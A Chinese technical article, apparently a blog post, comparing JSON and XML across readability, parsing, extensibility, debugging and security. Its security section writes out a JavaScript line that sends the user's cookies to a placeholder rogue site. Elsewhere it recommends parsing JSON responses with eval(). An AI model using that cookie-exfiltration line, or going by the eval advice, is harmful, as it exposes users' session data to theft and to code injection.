JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式，但是也使用了类似于C语言家族的习惯（包括C, C++, C#, Java, Javascript, Perl, Python等）。这些特性使JSON成为理想的数据交换语言。本文将从下面几个方面来客观比较一下两者的区别：
- 可读性
- 是否易于在服务端创建数据
- 是否易于在客户端处理数据
- 扩展性
- 调试和故障排除
- 安全
- 数据交换格式比较之关于轻量级和重量级
- 数据交换格式比较之关于数据格式编码及解析的难度
1.可读性
两者都具备很好的可读性，但从实际应用出发，个人还是觉得XML文档的可读性无疑会更高，要求你从一大堆的json代码里看出它的结构层次关系还是 相对比较困难的；而且现在很多的IDE工具都可以把XML格式化成易读的结构形式，看起来相当舒服，而json则不然。
2.是否易于在服务端创建数据
XML已经流行了好多年了，故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML，以java语言为例，你既可以用JAXB，又可以用XmlBeans，又或者dom4j、jdom等去把数据写到xml文件中。而另一方面，json这一方面的API则相对是一个全新的领域，尽管如此，json官方网站还是列出了很多令人印象深刻的各种语言的API，java方面比较著名的有json-lib，此外gson也算一个。在这一方面，虽然json相对于XML并不是望尘莫及，但还是略微逊色一筹，尤其是在复杂的应用方面，XML方面的API已经存在多年，相对来说成熟稳定得多了。soap 就是基于xml 标准建立起来的。
3. 是否易于在客户端处理数据
在客户端，要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情，只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象，然后通过对象的属性去访问值，这就是json最优雅之处，无数人为之着迷。而XML在 这一方面就不是那么的友善了，曾令无数的程序员头痛不已，因为处理XML响应数据，你得通过DOM树，这是非常繁琐且容易出错的工作。这一点，json要优于 xml 。
4.扩展性
可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里，客户端脚本应该合理地兼容不可知的数据扩展。
毫无疑问，XML是可扩展的，但它的扩展是有局限的，因为如果你要适应扩展的话，那么你的客户端代码不得不作出相应的改动，如以下的客户端解析代码:
var <span style="width: auto; height: auto;" id="2_nwp"><a style="text-decoration: none;" mpid="2" target="_blank" href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=1001&ch=0&di=128&fv=0&is_app=0&jk=580730bc539a1309&k=xml&k0=xml&kdi0=0&luki=10&n=10&p=baidu&q=06011078_cpr&rb=0&rs=1&seller_id=1&sid=9139a53bc300758&ssp2=1&stid=0&t=tpclicked3_hc&td=1922429&tu=u1922429&u=http%3A%2F%2Fwww%2Eadmin10000%2Ecom%2Fdocument%2F1071%2Ehtml&urlid=0" id="2_nwl"><span style="color:#0000ff;font-size:14px;width:auto;height:auto;float:none;">xml</span></a></span> = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;
如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话，那以上的代码就要作相应 的改变，否则会出错，也就是说，XML的扩展得伴随着解析代码的变更，这可没有什么魔法可言。而json则简单得多，即使你要增加middleName这 一属性，在js客户端依然是通过对象访问属性值即可，而不会引起js上的语法出错之类的错误，导致程序无法执行。
5.调试和故障排除
这方面需要从服务端和客户端两方面进行考虑，在服务器端，要确保数据是格式良好的和有效的；在客户端，它应该容易调试错误的。
使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构（schema）来验证xml的正确性和有效性。使用JSON，这个任务是手动的，并涉及验证响应对象中是否包含正确的属性。
在客户端，要从两者中找到错误都是比较困难的。对于XML，浏览器是完全无法将xml格式化成responseXML；如果对于数据量较少的json数据，还可以通过firebug来发现错误，但对于大数据量的话，那只能靠手工检查了.
6.安全性
有人认为，使用json是不安全的，原因是json里可以包含js代码，而客户端中使用eval可以使这些代码执行，而这些代码可能会存在安全隐患。如以下的代码：
window.location = "<a href="http://xxxxx.com/">http://baidu.com</a>?" + document.cookie;
person : {
"firstName" : "wisdom",
"lastName" : "hu"
}
上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之，别人是无法这样做的，但如果是开 发者有意为之的话，那他一样以别的方式来实现把你的cookie数据提交到流氓网站，这与是否使用json无关，所以相对于XML，json是同样的安全的。
7.数据交换格式比较之关于轻量级和重量级
轻量级和重量级是相对来说的，那么XML相对于JSON的重量级体现在哪呢？我想应该体现在解析上，XML目前设计了两种解析方式：DOM和SAX；
DOM是把一个数据交换格式XML看成一个DOM对象，需要把XML文件整个读入内存，这一点上JSON和XML的原理是一样的，但是XML要考虑 父节点和子节点，这一点上JSON的解析难度要小很多，因为JSON构建于两种结构：key/value，键值对的集合；值的有序集合，可理解为数组；
SAX不需要整个读入文档就可以对解析出的内容进行处理，是一种逐步解析的方法。程序也可以随时终止解析。这样，一个大的文档就可以逐步的、一点一点的展现出来，所以SAX适合于大规模的解析。这一点，JSON目前是做不到得。
所以，JSON和XML的轻/重量级的区别在于：JSON只提供整体解析方案，而这种方法只在解析较少的数据时才能起到良好的效果；而XML提供了对大规模数据的逐步解析方案，这种方案很适合于对大量数据的处理。
8,数据交换格式比较之关于数据格式编码及解析的难度
在编码上，虽然XML和JSON都有各自的编码工具，但是JSON的编码要比XML简单，即使不借助工具，也可以写出JSON代码，但要写出好的 XML代码就有点困难；与XML一样，JSON也是基于文本的，且它们都使用Unicode编码，且其与数据交换格式XML一样具有可读性。
主观上来看，JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述，只是描述较简短。从总体来看，XML比较适合于标记文档，而JSON却更适于进行数据交换处理。
在解析上，在普通的web应用领域，开发者经常为XML的解析伤脑筋，无论是服务器端生成或处理XML，还是客户端用 JavaScript 解析XML，都常常导致复杂的代码，极低的开发效率。